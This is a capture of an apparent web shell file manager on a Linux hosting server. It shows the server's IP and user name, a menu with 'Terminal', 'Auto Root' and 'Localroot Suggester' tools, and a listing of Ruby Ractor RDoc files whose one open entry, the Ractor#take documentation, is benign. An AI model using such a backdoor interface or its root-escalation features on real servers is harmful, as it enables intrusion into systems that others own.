Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.198
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby32 /
share /
ri /
system /
Ractor /
Delete
Unzip
Name
Size
Permission
Date
Action
ClosedError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Error
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
IsolationError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
MovedError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
MovedObject
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
RemoteError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
UnsafeError
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
%3c%3c-i.ri
246
B
-rw-r--r--
2026-04-07 17:42
%5b%5d%3d-i.ri
298
B
-rw-r--r--
2026-04-07 17:42
%5b%5d-i.ri
293
B
-rw-r--r--
2026-04-07 17:42
cdesc-Ractor.ri
10.64
KB
-rw-r--r--
2026-04-07 17:42
close_incoming-i.ri
764
B
-rw-r--r--
2026-04-07 17:42
close_outgoing-i.ri
756
B
-rw-r--r--
2026-04-07 17:42
count-c.ri
719
B
-rw-r--r--
2026-04-07 17:42
current-c.ri
416
B
-rw-r--r--
2026-04-07 17:42
inspect-i.ri
253
B
-rw-r--r--
2026-04-07 17:42
main-c.ri
277
B
-rw-r--r--
2026-04-07 17:42
make_shareable-c.ri
1.66
KB
-rw-r--r--
2026-04-07 17:42
name-i.ri
294
B
-rw-r--r--
2026-04-07 17:42
new-c.ri
1.45
KB
-rw-r--r--
2026-04-07 17:42
receive-c.ri
1.88
KB
-rw-r--r--
2026-04-07 17:42
receive-i.ri
313
B
-rw-r--r--
2026-04-07 17:42
receive_if-c.ri
2.19
KB
-rw-r--r--
2026-04-07 17:42
receive_if-i.ri
233
B
-rw-r--r--
2026-04-07 17:42
recv-c.ri
238
B
-rw-r--r--
2026-04-07 17:42
recv-i.ri
237
B
-rw-r--r--
2026-04-07 17:42
select-c.ri
2.08
KB
-rw-r--r--
2026-04-07 17:42
send-i.ri
2.98
KB
-rw-r--r--
2026-04-07 17:42
shareable%3f-c.ri
794
B
-rw-r--r--
2026-04-07 17:42
take-i.ri
2.34
KB
-rw-r--r--
2026-04-07 17:42
to_s-i.ri
237
B
-rw-r--r--
2026-04-07 17:42
yield-c.ri
1.32
KB
-rw-r--r--
2026-04-07 17:42
Save
Rename
U:RDoc::AnyMethod[iI" take:ETI"Ractor#take;TF:privateo:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"dTake a message from ractor's outgoing port, which was put there by Ractor.yield or at ractor's ;TI"finalization.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"r = Ractor.new do ;TI"% Ractor.yield 'explicit yield' ;TI" 'last value' ;TI" end ;TI"&puts r.take #=> 'explicit yield' ;TI""puts r.take #=> 'last value' ;TI"Mputs r.take # Ractor::ClosedError (The outgoing-port is already closed) ;T:@format0o; ; [I"]The fact that the last value is also put to outgoing port means that +take+ can be used ;TI"[as some analog of Thread#join ("just wait till ractor finishes"), but don't forget it ;TI"Qwill raise if somebody had already consumed everything ractor have produced.;T@o; ; [I"eIf the outgoing port was closed with #close_outgoing, the method will raise Ractor::ClosedError.;T@o;; [ I"r = Ractor.new do ;TI" sleep(500) ;TI"( Ractor.yield 'Hello from ractor' ;TI" end ;TI"r.close_outgoing ;TI"r.take ;TI"A# Ractor::ClosedError (The outgoing-port is already closed) ;TI"R# The error would be raised immediately, not when ractor will try to receive ;T; 0o; ; [I"UIf an uncaught exception is raised in the Ractor, it is propagated on take as a ;TI"Ractor::RemoteError.;T@o;; [I"7r = Ractor.new {raise "Something weird happened"} ;TI" ;TI"begin ;TI" r.take ;TI"rescue => e ;TI"O p e # => #<Ractor::RemoteError: thrown by remote Ractor.> ;TI"" p e.ractor == r # => true ;TI"G p e.cause # => #<RuntimeError: Something weird happened> ;TI" end ;T; 0o; ; [I"cRactor::ClosedError is a descendant of StopIteration, so the closing of the ractor will break ;TI"-the loops without propagating the error:;T@o;; [I"r = Ractor.new do ;TI"1 3.times {|i| Ractor.yield "message #{i}"} ;TI" "finishing" ;TI" end ;TI" ;TI"'loop {puts "Received: " + r.take} ;TI""puts "Continue successfully" ;T; 0o; ; [I"This will print:;T@o;; [ I"Received: message 0 ;TI"Received: message 1 ;TI"Received: message 2 ;TI"Received: finishing ;TI"Continue successfully;T; 0: @fileI"ractor.rb;T:0@omit_headings_from_table_of_contents_below0I"ractor.take -> msg ;T0[ I"();T@QFI"Ractor;TcRDoc::NormalClass00